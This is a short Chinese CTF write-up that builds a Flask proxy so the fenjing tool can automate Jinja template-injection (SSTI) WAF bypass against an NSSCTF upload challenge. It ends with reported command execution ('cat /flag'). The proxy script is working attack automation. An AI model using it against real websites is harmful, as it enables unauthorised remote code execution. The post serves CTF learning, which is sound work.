CTF学习脚本flask代理fenjing
fulian23介绍
fenjing是CTF竞赛中Jinja SSTI绕过WAF的全自动脚本,但原生中fenjing只能对目标网址的返回结果进行判断,并不灵活
了解到有些师傅通过本地的flask转发fenjing的请求到目标网址,并将返回结果返回给fenjing,这大大提高了fenjing的灵活性,于是我也照着这个思路写了个flask转发脚本
编写
以最近的nssctf新生赛中的upload?SSTI!为例
在这道题中,攻击者可以发送内容为模板注入的文件,之后访问flie/文件名 这个地址执行注入
在原生fenjing中只能发送json样式的post请求,并且也只会检查upload页面的返回结果,而用flask代理拿到fenjing的payload,能更加灵活得处理请求,对于注入点不同页面的返回,flask也能处理
以下是我针对upload?SSTI!题目的flask代理脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from flask import Flask, request, Response import requests
app = Flask(__name__) @app.route('/', methods=['POST']) def proxy(): payload = request.form['payload'] url = "http://node2.anna.nssctf.cn:28418/" with open("payload.txt", "w") as f: f.write(payload) payload1=open("payload.txt","r") res = requests.post(url, files={"file": payload1}) res = requests.get(url=url + "/file/payload.txt") print(res.text) if res.status_code == 200: return Response(res.text, mimetype='text/html') else: return Response("error", mimetype='text/html',status=500)
if __name__ == '__main__': app.run(host="127.0.0.1", port=5000)
|

成功找到注入payload

成功执行cat /flag